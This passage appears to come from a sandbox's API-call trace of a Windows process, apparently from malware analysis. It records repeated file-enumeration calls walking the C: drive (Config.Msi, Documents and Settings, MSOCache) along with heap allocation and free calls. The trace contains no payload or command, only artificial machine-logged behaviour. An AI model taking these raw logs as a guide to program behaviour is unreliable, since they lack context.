dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0x563880 [0035.174] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.174] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.174] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.174] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.174] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0035.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.174] FindClose (in: hFindFile=0x563880 | out: hFindFile=0x563880) returned 1 [0035.174] FindFirstFileExW (in: lpFileName="C:\\Config.Msi\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0x563880 [0035.174] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.174] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0035.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.174] FindClose (in: hFindFile=0x563880 | out: hFindFile=0x563880) returned 1 [0035.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.174] FindNextFileW (in: hFindFile=0x5597f8, lpFindFileData=0x235fb70 | out: lpFindFileData=0x235fb70*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0035.174] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0035.174] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0035.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x563880 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557cc0 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.175] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557d08 [0035.175] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.176] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0xffffffff [0035.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557d50 [0035.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.176] FindFirstFileExW (in: lpFileName="C:\\Documents and Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0xffffffff [0035.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557d50 | out: hHeap=0x540000) returned 1 [0035.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557d08 | out: hHeap=0x540000) returned 1 [0035.176] FindNextFileW (in: hFindFile=0x5597f8, lpFindFileData=0x235fb70 | out: lpFindFileData=0x235fb70*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0035.176] FindNextFileW (in: hFindFile=0x5597f8, lpFindFileData=0x235fb70 | out: lpFindFileData=0x235fb70*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0035.176] lstrcmpW (lpString1="MSOCache", lpString2=".") returned 1 [0035.176] lstrcmpW (lpString1="MSOCache", lpString2="..") returned 1 [0035.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.176] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.176] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x563880 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557cc0 | out: hHeap=0x540000) returned 1 [0035.177] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.177] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.177] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0x563880 [0035.178] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.178] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.178] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.178] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.178] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0035.178] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0035.178] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.178] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564da0 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564da0 | out: hHeap=0x540000) returned 1 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb490 [0035.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.179] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.279] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.279] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.280] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.280] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.280] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0035.281] lstrcmpW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0035.281] lstrcmpW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564ff8 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564ff8 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564ff8 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564ff8 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5621f8 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5621f8 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5621f8 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5621f8 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5621f8 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5621f8 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564ff8 [0035.304] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564ff8 | out: hHeap=0x540000) returned 1 [0035.304] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564ff8 [0035.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564ff8 | out: hHeap=0x540000) returned 1 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564ff8 [0035.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564ff8 | out: hHeap=0x540000) returned 1 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb500 [0035.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564ff8 [0035.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564ff8 | out: hHeap=0x540000) returned 1 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x5621f8 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb500 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x562260 [0035.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0035.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.305] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5621f8 | out: hHeap=0x540000) returned 1 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5622e8 [0035.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5baff8 [0035.305] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, 